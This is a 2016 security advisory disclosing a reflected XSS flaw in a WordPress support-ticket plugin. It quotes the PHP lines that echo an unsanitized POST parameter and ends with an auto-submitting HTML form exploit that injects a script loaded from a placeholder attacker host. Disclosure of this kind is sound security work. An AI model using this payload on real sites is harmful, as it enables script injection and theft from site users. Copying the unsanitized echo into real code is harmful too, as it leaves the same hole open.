Advisory #: 1319
Title: Reflected XSS in wordpress plugin wp-support-plus-responsive-ticket-system v6.1.9
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system
Downloads: 42247
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-support-plus-responsive-ticket-system
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-support-plus-responsive-ticket-system/includes/admin/getIndivisualTicketFront.php: 23:<h3>[Ticket #<?php echo $_POST['ticket_id'];?>] <?php echo stripcslashes($ticket->subject);?></h3> 27: <input type="hidden" name="ticket_id" value="<?php echo $_POST['ticket_id'];?>"> The variable ticket_id appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-support-plus-responsive-ticket-system/includes/admin/getIndivisualTicketFront.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/getIndivisualTicketFront.php method=post> <input type=hidden name=ticket_id value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>